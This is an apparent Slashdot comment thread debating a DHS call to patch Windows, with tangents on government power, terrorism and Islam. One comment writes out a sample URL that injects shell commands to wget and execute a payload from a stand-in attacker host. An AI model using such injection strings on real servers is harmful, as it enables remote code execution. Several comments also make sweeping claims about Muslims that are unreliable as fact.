[Macthorpe]

Actually, how you say something is a damn good proportion of the point you're trying to make.

Again, you can only say that something is true, PERIOD, when you have conclusive evidence.

You've provided the evidence for which power has been consolidated, which I will grant you, but you've yet to provide proof that this agency 'distracts'. Distracts from what? It's doing a really bad job of distracting from Bush policy, if that's what you mean, because every high terror alert makes people remember that the US government is fighting two wars in the middle east, which isn't exactly popular right now. Maybe it distracts them from other issues, but considering that if that is true, you're making people forget a controversial policy decision by drawing their attention a completely different but as controversial policy decision.

It's like distracting someone from the fact that you're stabbing their family by stabbing them instead.

Re:Two Reactions

[iced_773]

Okay, you think the government should find better things to do than keep systems secure, but you're going to blame them when they don't do precisely what you don't want them to do? I hope you're a kid, because I don't want you voting until you're mature enough to lose the hypocrisy.

Oops. I think IHBT. But I agree with the FP and many of the replies about Slashdot's such sorry state that you have been modded 50% Insightful.

Re:Two Reactions

[twofidyKidd]

We (The slashdot conflux) have always advocated improved computer security, particularly in the case of the Windows operating system. Patches have proven to be an effective method for maintaining said system against such related problems, and from the position of the corporate sys-admin down to the family's IT technician, we've always made it a point to ensure the most updated patches were in place. Now it's finally a matter of the government's to help ensure all the citizens of this country take similar steps.

Should we: A) rejoice because someone of authority has finally been sold on Windows security through patching by some qualified expert, B) assume that there's a greater conspiracy at work here which involves improving the government's ability to surveil their constituency, or C) imagine that there's a very legitimate, non-civil-liberties threatening need for the government to urge the users of the majority operating system in the United States, and very possibly the world, to maintain their systems at a sensible level of security? Maybe Al-Quaida (sp?) communicates via holes in certain unpatched systems (wild-guess speculation), or maybe terrorists are being funded by income brought in by spam-bots and zombie machines (plausible).

The real problem is that our cynicism makes viewing realistic possibilities hard to imagine, and our tools go logical deduction sort of seem to fail. Occam's razor can't be used in a situation like this because time has proved over and again that the interests of people at the government level aren't always in the interest of people at the constituency level. This is one of those times that we (the slashdot conflux) would like to imagine that someone (like Lawrence Lessig or Brad Templeton) has finally said something to an official that he finally understood and as a result has taken this action, but since we often have a hard time getting our own management to listen to the good ideas we put forth, we're hesitant to believe such a thing has happened. In fact, given the recent history of our government, we're much more inclined to consider a sinister purpose. The DHS press release has many of the "hidden agenda" trappings, like specifically indicating which patch to apply, as well as the call of immediacy.

Just to put things in perspective; right now, Britons are unloading all liquids and gels into trash cans prior to boarding US-bound planes, while we're wondering if the US government is acting in our best interest by adamantly suggesting we patch our Windows computers.

Re:Two Reactions

[Toby_Tyke]

the government has never openly declared critical Linux updates an imperative? Why Windows?

Well, possibly it's because windows has a +90% share of the desktop market, whereas linux has a 1% share or less.

And yes unusually for a slashdot post, I will cite a source :

http://marketshare.hitslink.com/report.aspx?qprid= 2
br> Cue twenty or more posts screaming "that's only because people hack firefox to identify itself as IE on XP".

Re:Two Reactions

[Yosho]

Linux/Bliss.

Now you've heard of one. There are more out there, too, if you bother to look.

Re:Two Reactions

[walt-sjc]

50,000 zombies? It wouldn't surprise me if the number is closer to several million in the US alone.

Frankly, a DHS press release encouraging end users will do nothing. The end-users that care and are not totally clueless already install patches. If the DHS is REALLY concerned about getting botnets under control, all they have to do is threaten ISP's to clean up their networks or they will force legislation / regulations down their throats. Most ISP's (especially broadband ISP's) do NOTHING AT ALL about botnets. Heck, most don't even ack emails to abuse accounts (actually DOING something about a report is almost unheard of.) That's what needs to change. When was the last time you ever heard of someone (on broadband) actually getting their account suspended due to spamming / being part of a botnet?

Re:Two Reactions

[budgenator]

Gates, isn't he that guy that used to run Microsoft? I never made the connection before, but Bush did pretty much let them off the hook, and then big dogs at microsoft quickly became irrelevant without crushing the stock price and killing a lot of 401K's; and they say Bush is stupid!

Re:Two Reactions

[Anonymous Coward]

That is all part of the master plan........Confusion......... Just like another poster said.......If it were a plot it would be more run of the mill and they wouldn't draw attention to themselves. We are so confused that we do not know if they are "doing their job" or "some sinister plot." Seems to me they have done their job very well..........

Re:Two Reactions

[walt-sjc]

The terrorists really don't care what we're doing at home. "They hate our freedom..." Yeah, BS. They just want us to get out of their own affairs.

Actually, they want us all dead. They don't just want to be left alone. We are pure evil - every last one of us including infants.

Re:Two Reactions

[labratuk]

They (and by "they" I mean Islamist terrorists) want everyone in Dar al-Harb to either become Muslim and join the Dar al-Islam, or die.

No they do not. You're showing a complete lack of knowledge of the radical Islamist movement. They hate liberalism. What they want is a swing to conservatism and religious subjugation in the west. Which is exactly what they've got. They're just using Islam as their bandwagon.

Re:Two Reactions

[peterfa]

If we all criticize everything the government does, they government will fear the people, and no corrupt politician would dare attempt take power. The government will always act in our interest... that is, until a guy figures out how to manipulate the system, which, historically, will happen eventually.

Re:Two Reactions

[NeutronCowboy]

I think before calling people naive, you might want to check what said people are exactly saying. No one said (and certainly not the post you replied to) that governments should be abolished. No, what he said is that if some government is good, more government is not better. There are many instances where it is patently obvious that more government is actually far, far worse than no government at all. And one of those instances is, gasp, Africa. Far from being weak governments that wreck havoc there, it is the strong, autocratic and centralized governments that are responsible for the worst abuses. Darfur is not a problem because of too little government, it is a problem because the government cannot be stopped by the population it is terrorizing.

Again - the central problem raised is not that government in general is bad. The central point is that more government is not the answer to government problems.

Re:Two Reactions

[NeutronCowboy]

I think the reason that the current administration bears more responsibility for the MS and katrina fiascos is because for the former, the Bush administration was very happy to ditch the DoJ investigation as soon as it had been elecetd. For the latter, it bears responsibility because it put someone completely unqualified in charge of FEMA, and who subsequently turned what used to be a highly regarded organization into a complete laughingstock.

Re:Two Reactions

[NeutronCowboy]

I think the government really does have its priorities, but monitoring 10 million computers to find out what porn sites people like to visit isn't one of them.

As much as I would love to agree with you, I can't. Did you forget that the top priority of the DoJ is currently fighting adult porn?

Re:Two Reactions

[vwjeff]

So, if you don't apply the patches, then what?

The terrorists win.

Simple logic.

Re:Two Reactions

[Pollardito]

Are you able to keep the whole world in order? You do realize at there's 6 billion people on the planet right? Most of them would kill you, your family, and everyone you know, if it made their lives even marginally better.

i don't think it's as bad as you're saying, i don't think a majority of people are amoral. but all it takes is a small minority who is willing to act like that to totally throw things out of balance and even force some of the "good" people to act in kind.

Re:Two Reactions

[Millenniumman]

That is due to freedom of paranoia, not any real evidence.

It probably happened now because the guy in charge of making these warnings had a problem, or because it was a very serious bug.

Re:Two Reactions

[Jtheletter]

Global warming isn't the government's fault, it's OUR fault. Does the government make you drive a car to work?

OK, I'll bite, but keep in mind I'm half-joking here. (And I do agree that global warming is a collective "we" fault).
Ok, so, the Federal Government has massive yearly deficits, and a total nation debt in the trillions, not even counting future promised expenditures such as Medicaid/care and Social Security payments. Refusing to raise taxes to cover these costs because it is politically untenable means that they must sell debt to foreign investors and then literally print the rest of the money. This is an inflationary policy that increases the money supply hugely, causing the misallocation of resources and fueling the boom-bust economic cycle while claiming to try to prevent it. This has caused a massive housing bubble which has seen home prices nearly double in many areas in the last 5 to 10 years. At the same time, real wages have barely kept up with core inflation (which itself is undercalculated by using metrics that don't actually apply to real-life costs). Thus the current average worker is even less able to afford housing today, especially in well-developed and urban areas where a great deal of commercial and industrial jobs are located. Hence, in order to be able to afford housing that fits their pay they must relocate to less densely populated areas where home prices and rents are within their means, and thus they must commute farther to their jobs. So, there, I proved the government makes us drive our cars to work. ;)

Of course things like car-pooling, buying more efficient vehicles, cutting down on uneeded driving, etc are all things that help reduce emissions and are largely being ignored. There's no small solution to the problem. And while I was being rather tongue-in-cheek with my seven degrees of seperation style argument above, all of it is true to a certain extent. There are a lot of problems in this country that stem from a misallocation of resources due to Federal fiscal irresponsibility (Bush hasn't yet met a spending bill he didn't like, and none fo the spending bills have any 'signing statements' that reduce spending. Don't let my hatred of his policies make you marginalize me however, plenty of Dems are causing the spending problems too, the whole fed level is out of control in a nonpartisan way.). If the government would be reduced to a level that doesn't consume 40%+ of it's citizens' incomes, plus more deficit spending on top of that, then perhaps we'd have some "extra" capital to throw at other problems, gloabal warming being one among many but an important one. Food for thought.

Re:Two Reactions

[korbin_dallas]

"I wish the government would stay out of my life. However, I also appriciate the fact that the crazies down the street know that their asses will end up on jail, should they try to hurt me or my family."

Now whos being naive?

Only political dissidents actually GOTO jail, do not pass Go.

This IS happening to my parents, the cops 'say' they can do nothing. Even tho they are selling drugs and other illegal activities. When they arrest 1, 2 more show up to take his place.

People like that only know 1 thing, force. And you better have a lot of it.

As my good buddy Acius was fond of saying "Let them hate, so long as they fear."

Re:Two Reactions

['nother poster]

50,000 zombies? It wouldn't surprise me if the number is closer to several million in the US alone.

No, I meant that the 50,000 zombies were just the ones peddling herbal viagra. The bigger breast/longer schlong botnets are probibly a million or two each in size.

Re:Two Reactions

[corbettw]

They don't want people to be religious in a general sense, they want people to become Muslim, which has not happened yet. Specifically, their brand of Muslim, whether that's Shia or Sunni (usually Wahabbi Sunni).

You really need to educate yourself on what the Dar al-Harb and Dar al-Islam are.

Re:Two Reactions

[LS]

If you mean _naive_ sentiment, I would obviously disagree. I would posit that the most horrendous crimes in the history of the world are actually executed by a tiny majority in overly strong governments which take advantage of a weak-minded and normally peaceful populace. I would like you to give me an example of a genocide or other serious crime against humanity that wasn't orchestrated by a dictator, monarch, or totalitarian government of some sort.

You claim that government keeps people in line. But this is a circular argument, because people pre-existed government; people created government, which indicates that the morals and values and organization that create government come from the people, and not the other way around. Countless philosphers, historians, heros, saints, and common folk throughout time developed civilization's sense of justice and morality that government is built upon without a beating stick keeping them in line, and I feel sad for you if your root of your values is the fear of punishment.

What this boils down to is that I believe that the vast majority of people are good (or at least good intentioned), but perhaps a bit gullible, and a small minority take advantage of this, some of them evil, some of them not.

Re:Two Reactions

[LS]

Apparently you ARE a teenager. Otherwise you wouldn't hide behind anonymity making pitiful attempts at ego sniping.

Re:Two Reactions

[WhiplashII]

They just want us to get out of their own affairs.

OK, so if this is true, why is an embargo a threat? I mean, if they just want us to leave them alone, surely instead of fighting the embargo they would be welcoming it?

So what you really mean is that they want our (the outside world's) stuff, but they don't want to have to do anything to meet us halfway. In addition to that, their stated aim is to kill everyone that is not Islam - "Convert or Die" I believe is the phrase they use. Even further, Islam is not enough - just must join their particular sect of Islam. And of course, there exists more than one sect saying that.

You probably think we should just trust that they only say that as a joke, or rallying cry, or whatever. Sorry, but if someone with a gun says they are going to kill you, you are forced to take them seriously and kill them first. If you do not believe that, you will die - and darwin will make a society without you that kills the guy with a gun that threatens.

Therefore, if we allow the Islamic radicals to decide the fate of the world, the world population will be culled until only one Islamic sect remains. If we let the "radical west" decide the fate of the world, Muslims will die until they stop trying to kill people. Fewer people die under the second set - and more importantly to me personally is that me and my family do not die under the second set.

Re:Two Reactions

[Anonymous Coward]

People are not GOOD or EVIL. That's religious minded crap and is not intelligent. People are selfish. It is the primary reason we are as adept at life as we are. We take what we need in order to survive. It is only when there is plenty for everyone that we start talking about morals.

Government came from groups of people attempting to find a better way for the good of everyone, true. But that's NOT where we started. Take it back a bit further - remember the dark ages? Remember where we decended from. It's been a long road of evolution to end up where we have the luxuary of being moral creatures.

Fact is that an overwhelmingly large majority of people on the planet would slit the throat of anyone if it was life or death. You or me... hrmm.. me thanks. That is human nature on its very basic of levels. That's the nature of any creature. It's survival. Anyone who says different is ignorant of what life is really about.

Re:Two Reactions

[budgenator]

We used to just walk around with a clipboard in the Army, maybe do some scribbling and pointing once in a while for emphysis. Get at least three other people to follow you, and people would cross the street to avoid you!

Re:Two Reactions

[Anonymous Coward]

> That's a completely nieve sentiment. I'm sorry, but government,
> at least in some form, is absolutely necessary. How do I know?
> I'm human. And by and large, humans are greedy, amoral, unethical
> creatures that left to their own devices lie, steal, cheat,
> murder and rape their way through life. Don't believe me?

Wow. Remind me not to leave you alone with the kids.

> Look at any area of the modern world lacking a strong government,
> like Africa.

You don't suppose that poverty/a screwed economy could have anything to do with it, do you?

> Are you able to keep the whole world in order? You do realize
> at there's 6 billion people on the planet right? Most of them
> would kill you, your family, and everyone you know, if it made
> their lives even marginally better. So go ahead, try to "keep

O.K... Everyone back away from the parent poster slowly. Try not to show fear or your skull might be crushed so he can grab that nice mechanical pencil you're holding.

Re:Two Reactions

[langelgjm]

1. Download WGA Notification
2. Find out your copy of XP is pirated
3. Fail to download critical updates, thus helping the terrorists win.

Ergo, WGA help the terrorists win!

Re:Two Reactions

[budgenator]

how about

http://example.com/StupidPHPscriptThatExecutesCGIc ommands.php?cd%20/tmp;%20wget%20http://evilhacher. com/maliciousPayload;%20chmod%20+X%20MaliciousPayl oad;%20MaliciousPayload

That'll do it, pretty convoluted, wget has to be on the server and executable by nobody and of course the stupid php script has to be there as well, but this is similar to one that was in the wild.

Re:Two Reactions

[Anonymous Coward]

and what about you, Mr Anonymous Coward? oh hang on...

Re:Two Reactions

[krack]

You sound confused, so I'd like to help you out on why we in the US are worried about this.

While you are correct that MS and Windows are under intense scrutiny from a number of security professionals who would love to see their name in lights as the person who discovered a major 'OMG Windoze is reporting to USGMT!' scandal; the issue here is that the Homeland Security is recommending a PATCH. This means that, currently, Windows does NOT have the fuctionality that resides in this patch, by virtue of it being an (unapplied) patch. It then follows that if this patch would cause Windows to report users' actions to the govt, Windows doesn't currently do this (Otherwise why patch?). As such, these masses of security professionals could not discover this ability because it doesn't exist yet.

In summary, you are probably correct in your belief. Today. However, by patching the system, it is a completely new system and must be re-analyzed from the ground up because we don't understand the patch. (enter closed source vs open source argument) As a result, you will only see this scandal AFTER the patch has been released/leaked.

Re:Two Reactions

[Das Modell]

Yes, I understand the point but, even if such a patch were to be applied, it would be discovered soon enough.

Frankly, people are a bit too paranoid about the US government.

Re:Two Reactions

[crashelite]

wait that is totally not true look at the presidents staff memebers they are few and there all together dumber as a post. (sorry post)

Re:Two Reactions

[Anonymous Coward]

That is the most level-headed thing I've EVER heard on this site

Really? I mean, it starts out nicely enough, but it concludes with:

I don't think the government is so worried about our interests but more so they're worried about the gathering of intelligence in their case against every single United States citizen.

That is, the quick summary of that post would be, "It LOOKS like a benign suggestion to help people keep their computers secure, but I'm pretty sure it's really part of a complex conspiracy to spy on us."

There may be exactly zero evidence for that last point, but sure... it's a perfectly level-headed assumption to make.

Re:Two Reactions

[Kouroth]

Yes and no, you must also remember to add in the equation that people are inherently pack animals. While we may fight and bicker and kill there is also a part of our nature that wants to be part of the pack. While some individuals will act this way, on the whole it is packs or villages that act like this against others who are not part of there pack.

Re:Two Reactions

[RedHat Rocky]

The Gov should worry about keeping THEIR systems secure, certainly. Why don't they leave the rest of us to worry about ourselves? And no, these patches don't affect me or my systems, as they aren't Microsoft.

The DHS shouldn't be wasting their time/resources on Microsoft patches. Never mind my opinion of the creation of DHS in the first place.

In case you forgot, the "government" had Microsoft up for anti-trust. You know, found guilty and all that. You did notice the change in adminstration made all that quietly go away, right?

You do recall Microsoft getting to where they are by illegal business practices, right?

Re:Two Reactions

[HiThere]

The problem is that we, for fairly good reasons, don't *trust* the authority that's telling us to take what are ostensibly reasonable actions. So we consider plausible downsides.

Look at it this way, if a shady character on the street walked up to you and told you that you needed to take one of the pills he was offering you *for FREE!* to, O, double your intelligence...would you take it?

Why do you trust the DHS more than that shady stranger?

Don't you *want* to double your intelligence?

Re:Two Reactions

[budgenator]

Hello Red;
You don't know me but I'm your watcher. My job is to watch what you do on the internet and who you talk to on the telephone and where you drive your car. This take ooddles and ooddles of storage, so here is what we did; you see when you buy a forty gig hard-drive, what you really get is 240 gig hard-drive but you can only use 40 of it. The other 200 is for us! We store everthing we want to know about you on your own computer, and VoIP gives us boners! Soon We going to get everybody on Fiber, well remember the Sun's tagline, "the network is the computer" muaahahahahah, the possibilities are mindnumbing! OBTW when you turn your computer off, it really isn't off, just those fans, the hard-drive sound effects, and the CPU heater are off (fooled everone with that didn't we). the only way to really turn off you computer is to throw the mains circuit breaker, pull out the battery on the motherboard, and wait fifteen minutes for the capacitors to discharge.
I bet your wondering why I'm telling you all of this; it's because the more people know, the less they'll believe, so tell everybody (we even tried to get this into an episode of X Files). Next week we've arranged for our alien friends to abduct you and do some serious anal probing, so remember tell everybody; life will be easier if you tell everybody
regards, budgenator
p.s. tell everybody
p.s.s tell everybody and we'll only abduct and anal probe you once so, tell everybody, keep it to yourself, we'll erase your tetanus shot record!

Re:Two Reactions

[ems2004]

Check your spellings, it is called terarists.

Re:Two Reactions

[LS]

Look man, i realize that 'good' and 'evil' are subjective terms, but so are 'intelligent' and 'selfish'. Who are you to decide that words as fundamental as these are crap? Words like these are abstractions for shared experiences, not mathematically defined formulas. Good and evil are subjective, not absolute, so people get confused and think they don't exist. Here's an example of something evil: Someone who likes to break into homes and rape newborn babies and then slice their mother's throats for fun. If you don't think that is evil then you have lost yourself to objectivism, materialism and science, and might as well commit suicide now because reality is purely a bunch of molecules bouncing off of each other, and you are nothing more than a tiny sack of meat on a ball of dirt floating against the infinite backdrop of space for an infinitesmal length of time.

Re:Two Reactions

[Anonymous Coward]

I think you'll find that WGA doesn't disable security updates.

Re:Two Reactions

[iced_773]

After re-reading your OP, I must apologize for my misinterpretation. I was under the impression that you wanted the government to stay out of whether you patch or not, yet would blame the government for not doing anything about your cybersecurity when something happens.

Re:Two Reactions

[Red Flayer]

Wow, that's a pretty nutso post. I mean, I'm not-quite-conformist-enough-to-be-considered-100%- normal, but that's pretty far out there, man.

My job is to watch what you do on the internet and who you talk to on the telephone and where you drive your car.

Gotcha! I don't own a car, I sold it and take mass transit only.

Re:Two Reactions

[saltydogdesign]

The effective 'intelligence' of any organization is inversely proportional to its size.

Are you saying fat people are stupid?

Re:Two Reactions

[juhan pruun]

/tinfoil helmet on .. and there is third reaction is somebody starting to kill unpatched systems? WE warned YOU, YOU distrust US, goodbye

Re:Two Reactions

[BoberFett]

Now, since government is comprised of humans as well, it also must have checks and balances in place to ensure that those in power don't lie, steal, cheat, murder and rape their way through life, much to the misery of the people they rule.

So how exactly has the US system of checks and balances been preventing those misdeeds? Hell, lying, stealing and cheating is practically a requirement to hold a position as a federal representative. I wouldn't be surprised to learn that some of them have even murdered and raped. So much for government being required to hold back the forces of anarchy. *rolls eyes*

Re:Two Reactions

[pipingguy]

And by and large, humans are greedy, amoral, unethical creatures that left to their own devices lie, steal, cheat, murder and rape their way through life

Correction: my estimatometer calculates that the asshole percentage is well under 5%. It just *seems* like there are more jerks and oxygen-wasters than there really are.

Re:Two Reactions

[Anonymous Coward]

I have to agree with the idea of being less likely to wear the tinfoil. While it does stand that there has been endless corruption, deception and illegal actions we must also remember the checks and balances that America has put into play. For example, incompetence. America was attacked by Saudi citizens under the auspices of a Saudi man hiding in a cave in Afghanistan and America went to war with Iraq instead. That doesn't seem like a competent manoeuver. Further to that, the story of Iraq had to do with WMD and the impending threat to America. There were no weapons and the threat was so low that it took 2 weeks to topple the Iraqi government. Sounds like that government "intelligence" is working at optimum levels.

Following this example, if I was using a Windows box to hack banks and there was a government agency monitoring my computer through backdoors I would not be concerned. The person across the street from me should be really worried, though. Because (s)he's going to jail.

Re:Two Reactions

[budgenator]

Actualy my son used to be a cook at Hooters and while at a corp function, some guy introduced himself just like that, this guy sat in an office and watched what happened on the all of the security cameras in three different resturants; actually seems like a pretty good gig, getting paid to watch big breasted girls with an exhibitionistic streak all day. Mix in a few other conspiracy theories taken to extremes, should be good for a chuckle or two, I lauaghed my ass off writing it.

Re:Two Reactions

[Hangly Man]

Wow, look at the replies... I love how aroused everyone gets over the prospect of a possible government conspiracy. That doesn't make us bad citizens or soft in the head. Trust is something you earn.

Re:Two Reactions

[Anonymous Coward]

So, if you don't apply the patches, then what?

Why, you will be shot, of course! You will comply!

Re:Two Reactions

[mjwx]

Please do your research before making stupid posts.

One of Osama bin Laden's stated goals is the economic collapse of the US via 1) increased spending on useless projects (anti-terrorism initiatives) 2) raising the cost of oil beyond US$300 a barrel (which is the point when the cost of transporting a barrel of crude oil to the refinery becomes higher than anyone can afford to pay for refined fuels).

Please, this religious conversion nonsense is complete BS, same as GWB wants everyone to convert to Christianity. This is about the same thing as these sort of wars have always been about, power (money is a means to power). Remember that the crusades were fought over control of the silk roads to the far east.

I know this is cliché but I am an Australian (I.E. not US) and not a bush supporter.

Re:Two Reactions

[Anonymous Coward]

As for why windows? Most people run windows as their platform of choice. Simple as that. Why not linux? Most people who are linux users or who use other platforms are savvy enough to protect their computers. Simple as that.

Re:Two Reactions

[rastos1]

Are you able to keep the whole world in order? You do realize at there's 6 billion people on the planet right? Most of them would kill you, your family, and everyone you know, if it made their lives even marginally better. So go ahead, try to "keep the world in order", I'm sure that'll work out great for you, by yourself. What's that? You'll get some friends to help? You do realize you just created a government then, right? Albiet, an informal government that probably would rule by force. Good job. [Emphasis mine]

Please keep your government to rule your country. The other 5.7 billion people can do without oversight of US quite well. Thank you.

Re:Two Reactions

[Shaper_pmp]

Granted. But you aren't just betting the current administration is incompetent - you're betting that every single future government is equally incompetent.

Seriously - when was the last time a government got into power and said "you know, I think we've got too much information on our citizens - let's wipe a few databases and have a big record-bonfire".

I'm not worried too much about what Bush and the current Neocons would do (although the sheer randomness of their flailing about is slightly concerning, as I could be hit as much by accident as by design), but it can (indeed already has) have a chilling effect on people's liberty and free speech. In addition, once they've set up the system you've basically got an "Instant Police State - Just Add Competence".

All it takes is for an IT-competent government (or just advances in the technology to make it simpler to use) and suddenly there's nowhere to hide any more.

Re:Two Reactions

[Eivind]

government, at least in some form, is absolutely necessary. How do I know? I'm human. And by and large, humans are greedy, amoral, unethical creatures that left to their own devices lie, steal, cheat, murder and rape their way through life.

No actually. It's more like some small fraction of humans will behave like that some small fraction of the time. Which means your conclusion is rigth, we do need some sort of concerted response to certain behaviour, we tend to name that response "government".

Re:Two Reactions

[WgT2]

This isn't just about terrorist; it's also about your average cyber-criminal.

Re:Two Reactions

[corbettw]

Al Qaeda especially is composed almost exclusively of Wahabbi Muslims. They seek the return of the Caliphate, and a worldwide Umma. Everything else is secondary to, and supportive of, those goals.

On the other side of the aisle, you have hard core Shia, like the President of Iran. They seek an apocalypse that will herald the arrival of the Mahdi, who will then exterminate the Jews and rule the world for seven years, at which time Isa (the Muslim name for Jesus) will return and judge the living and the dead and end the world.

You simply cannot separate these people's religions from their politics. Take off your blinders and start seeing things as they really are, not as you want them to be.

Re:Two Reactions

[doesnothingwell]

"> Look at any area of the modern world lacking a strong government, > like Africa."

"You don't suppose that poverty/a screwed economy could have anything to do with it, do you?"

Poverty in some oil rich african countries means the local nutjob(murderer rapist thief) IS IN CHARGE. And if you gave the people of (insert oppressive regime) a democracy the villagers would be too stupid, lazy, ignorant/religous, to hold on to it. Nobody gets good government until the local people want it bad enough to work for it.

Re:Two Reactions

[tjma2001]

Its not that africa has weak governments at all. And if they do its not by choice. Countries that are poverty stricken are so becuase of countries like the USA "raping" africa. Food aid prevents local farmers from selling produce locally. Food subsidies in the European Union but more so in the USA prevent african farmers from selling their goods in the USA. Africa exports natural resources imports commodities. So it comes back to the US government being bad bad bad!!!

The metric that an organizations intelligence being inversely proportional to its size sounds very convincing but you dont need the whole organization to brew up something nasty nasty. You only need a handfull of people. The pawns never know what the king is up to.

Re:Two Reactions

[Anonymous Coward]

I don't even know if our IT department is aware that they need to run any patches. I haven't seen them do it since I've started working here. And what's worse, I'm working for a government contractor which is always making a lot of fuss about security!

Just because you don't see it doesn't mean it is not being done. I do it every month with a commercial product and no one sees it but it is being done.

Re:Two Reactions

[SanityInAnarchy]

So what you really mean is that they want our (the outside world's) stuff, but they don't want to have to do anything to meet us halfway. In addition to that, their stated aim is to kill everyone that is not Islam - "Convert or Die" I believe is the phrase they use. Even further, Islam is not enough - just must join their particular sect of Islam. And of course, there exists more than one sect saying that.

I in no way meant to sugar-coat it. I realize that there are people who say this, certainly. In fact, find any cause and you'll probably find at least one nutcase willing to kill and die for it. Take the xbox 360 -- ok, no one was willing to die to get you one, but they were willing to kill to get their own.

The question is, would there be so many of them, so organized, with such good funding, training, and arms, if we'd stay the hell away in the first place?

Sorry, but if someone with a gun says they are going to kill you, you are forced to take them seriously and kill them first. If you do not believe that, you will die

Or I will take their gun and call the police. That's not always possible, and certainly, if I was on a plain with a hijacker, I'd kill them. But what kind of a situation do we really have here? ONE attack on American soil; since then they've just been fighting us in Iraq because they want us the hell out.

Therefore, if we allow the Islamic radicals to decide the fate of the world, the world population will be culled until only one Islamic sect remains. If we let the "radical west" decide the fate of the world, Muslims will die until they stop trying to kill people.

You are a bigot, or at least an insightful troll. The majority of Islam does not believe in killing anyone, especially yourself, so the major tool of the terrorist -- suicide bombing -- is as appalling to a Muslim as it would be to anyone else.

You caught yourself the first time and said "Islamic radicals", but our response is to kill all Muslims until they stop trying to kill people?

Fewer people die under the second set - and more importantly to me personally is that me and my family do not die under the second set.

If you're worried about you and your family, you should try for option 3: Stop killing the crazy people and start dealing with the people who have the nukes. Pissing off and repressing people will cause you problems down the road, read Dune for a solid example, or read up on the Revolutionary War for a real example -- and you can find it time and time and time again. The difference is, nukes do actually hold the potential to decide the fate of the world, and we should not have invaded Iraq (which has none, never had any, probably never would have), but we should have invaded North Korea or Iran, if anywhere.

Knowing Bush, it could be as simple as a misspelling. "Iran, Iraq, same difference."

Re:Two Reactions

[WhiplashII]

You are a bigot, or at least an insightful troll. The majority of Islam does not believe in killing anyone, especially yourself, so the major tool of the terrorist -- suicide bombing -- is as appalling to a Muslim as it would be to anyone else.

If this is true, why do the Muslim polls show that the majority support or have sympathies for the terrorists? Why do we see film clips of dancing in the streets whenever a terrorist succeeds?

The fact is, the Muslim religion is set up in such a way that it empowers extremists. There are people that profess to be Muslims that think the way you describe, but they are in the minority. Virtually every Muslim leader refers to the US as "the great satan." Why is that? They also profess other inflamatory views. I propose that this is not just a coincidence - that in the Muslim culture people with extremist views are given power, because they are viewed as "more righteous," or whatever.

I think that this is because all Muslims know what the Koran says to do with infidels, but their conscience does not let them do it. They view this as a personal weakness, however - and so they give up power to those that they see as stronger in this area.

Certainly not all Muslims. Probably not most. But definately a large fraction.

Please also note that I am not saying that we are better in some way - I am just saying that this is a reaction to the existing environment, and that the environment has very little to do with US interference.

Really, why is an embargo a threat if you just want to be left alone?

If the majority of Muslims were appalled at Hezbolla firing random missiles into Isreal over the last couple years (while Isreal ignored them), then you might have a point. Where were the demonstrations against Hezbolla?

I think that in the end this will come down to a nuclear war, and millions of innocents on both sides will die. The US innocents will die first, as the US is attacked by nuclear terrorists. The US will try to reason for a while, invade some countries - but after New York, LA, and Chicago have been rendered unihabitable (and obviously Isreal will be long gone at this point), the American people will demand a final solution - just like Germany did - and we will erradicate 80% of the Muslim population. The remaining Muslims will "convert or die".

That is what we need to avoid - a Nazi being elected president. Only the Muslims can prevent that, but as I say, their power structures are not set up to handle that. Americans are not different than Germans - push anyone too far, and the response is genocide.

If you disagree, answer one little question: At what point will the Muslim extremists stop, and permanantly stop acs of terror? When we are all converted? To which sect?

Re:Two Reactions

[SanityInAnarchy]

If this is true, why do the Muslim polls show that the majority support or have sympathies for the terrorists? Why do we see film clips of dancing in the streets whenever a terrorist succeeds?

Film clips are ancedotes. So show me the polls, anyway -- oh, and I can certainly feel sympathetic to terrorists, but it doesn't mean I support what they're doing, and it doesn't mean I'd hesitate for a second if I had the immediate opportunity to kill one.

The fact is, the Muslim religion is set up in such a way that it empowers extremists.

No, it's not. That's some Muslim people perverting the religion to empower extremists. Or what is your excuse for the Crusades?

There are people that profess to be Muslims that think the way you describe, but they are in the minority.

In what way do they "profess" to be Muslims? They are Muslims. They are certainly more Muslim than I am. You pray at certain times of day, no matter where you are. Stuck in traffic? Get out of the car, put down your prayer mat, and bow to Mecca.

I wouldn't like that, personally, but I definitely say that someone who does that is a Muslim, even if they're also an American, even if they're also in the US Army and committed to killing terrorists.

Virtually every Muslim leader refers to the US as "the great satan." Why is that?

Go read your history. After some of the things we've done to them, I don't blame them. We're just a little too politically correct to call them that. No, instead, we call the terrorists Evildoers, and often we confuse "terrorist" with "Muslim". (You're a great example.)

I think that this is because all Muslims know what the Koran says to do with infidels, but their conscience does not let them do it.

And you call it conscience. Maybe it is simply cowardice, weakness?

In any case, go read the Koran. It has some good things, and some bad things, but there's a lot of modern Islam, especially terrorism, that runs directly contrary to the Koran. You do not get 100 virgins for suicide bombings, you get to go to a special hell where you experience your own suicidal death over and over for eternity.

Certainly not all Muslims. Probably not most. But definately a large fraction.

I'll give you "large fraction". But a large enough fraction of Christians refuse to believe in evolution, and a large enough fraction of Americans refuse to believe in global warming. Still, I'm careful to insert enough adjectives to make a clear distinction between the large fraction of Christians and all of Christianity -- for instance, "Right-wing Bible-pounding fundamentalist Christian nutjobs" instead of just "Christians".

I think that in the end this will come down to a nuclear war, and millions of innocents on both sides will die. The US innocents will die first, as the US is attacked by nuclear terrorists. The US will try to reason for a while, invade some countries - but after New York, LA, and Chicago have been rendered unihabitable (and obviously Isreal will be long gone at this point), the American people will demand a final solution - just like Germany did - and we will erradicate 80% of the Muslim population. The remaining Muslims will "convert or die".

Well, at least wait till that happens. It won't.

Or better, invade the countries we know have nukes now, or the ones we know are developing nukes. Like I said -- North Korea and Iran. Iraq was a mistake -- maybe they had something, but we didn't actually know.

That is what we need to avoid - a Nazi being elected president. Only the Muslims can prevent that,

...why?

The majority of the voters in this country are not Muslims. I'd even argue that the majority of those who can mess with Diebold machines are not Muslims.

obligatory

[Anonymous Coward]

Microsoft:

Patches??? You don't need no stinkin patches!

Then What?

[MinutiaeMan]

"If you don't patch Windows, the terrorists win!"

Re:Then What?

[Anonymous Coward]

No, no, no. If you don't patch, you *are* a terrorist.

Re:Then What?

[Anonymous Coward]

beat me to it... damn

Re:Then What?

[Ninjy]

Pf, just wait until we respawn in the second round.

Re:Then What?

[Mayhem178]

What are you talkin' about? Terrorists have no honor....they spawn kill! Patch your Windows before it's too late!

Wait, I'm not running Windows! The terrorists win! Onoes!!1!!1!!111cos(0)

Re:Then What?

[Anonymous Coward]

A one way plane ticket and an all expense paid trip to the Wonderful Camp X-Ray, Gitmo, Cuba!!!!

Sun. fun, and daily beatings..... What a country!!!!

